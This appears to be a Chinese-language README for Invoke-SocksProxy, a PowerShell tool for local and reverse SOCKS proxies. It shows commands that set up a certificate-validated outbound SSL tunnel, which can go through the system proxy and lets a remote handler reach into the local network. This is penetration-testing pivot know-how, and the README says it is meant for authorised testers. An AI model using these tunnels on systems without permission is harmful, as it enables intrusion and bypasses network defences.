使用 PowerShell 创建本地或“反向”Socks 代理。
本地代理是一个简单的 Socks 4/5 代理。
反向代理通过发起能够通过系统代理的出站 SSL 连接,创建一个 TCP 隧道。该隧道可在远程主机上用作 Socks 代理,以穿透进入本地主机的网络。
在 1080 端口上创建 Socks 4/5 代理:
Import-Module .\Invoke-SocksProxy.psm1
Invoke-SocksProxy -bindPort 1080
将最大线程数从 200 增加到 400:
Import-Module .\Invoke-SocksProxy.psm1
Invoke-SocksProxy -threads 400
在远程主机的 1080 端口上创建“反向”Socks 4/5 代理:
# On the remote host:
# Generate a private key and self signed cert
openssl req -x509 -nodes -days 365 -newkey rsa:2048 -keyout private.key -out cert.pem
# Get the certificate fingerprint to verify it:
openssl x509 -in cert.pem -noout -sha1 -fingerprint | cut -d "=" -f 2 | tr -d ":"
# Start the handler
python3 ReverseSocksProxyHandler.py 443 1080 ./cert.pem ./private.key
# On the local host:
Import-Module .\Invoke-SocksProxy.psm1
Invoke-ReverseSocksProxy -remotePort 443 -remoteHost 192.168.49.130
# Go through the system proxy:
Invoke-ReverseSocksProxy -remotePort 443 -remoteHost 192.168.49.130 -useSystemProxy
# Validate certificate
Invoke-ReverseSocksProxy -remotePort 443 -remoteHost 192.168.49.130 -certFingerprint '93061FDB30D69A435ACF96430744C5CC5473D44E'
# Give up after a number of failed connections to the handler:
Invoke-ReverseSocksProxy -remotePort 443 -remoteHost 192.168.49.130 -maxRetries 10
系统代理技巧的出处:https://github.com/Arno0x/PowerShellScripts/blob/master/proxyTunnel.ps1
本项目面向安全研究人员和渗透测试人员,使用时须获得系统所有者的批准。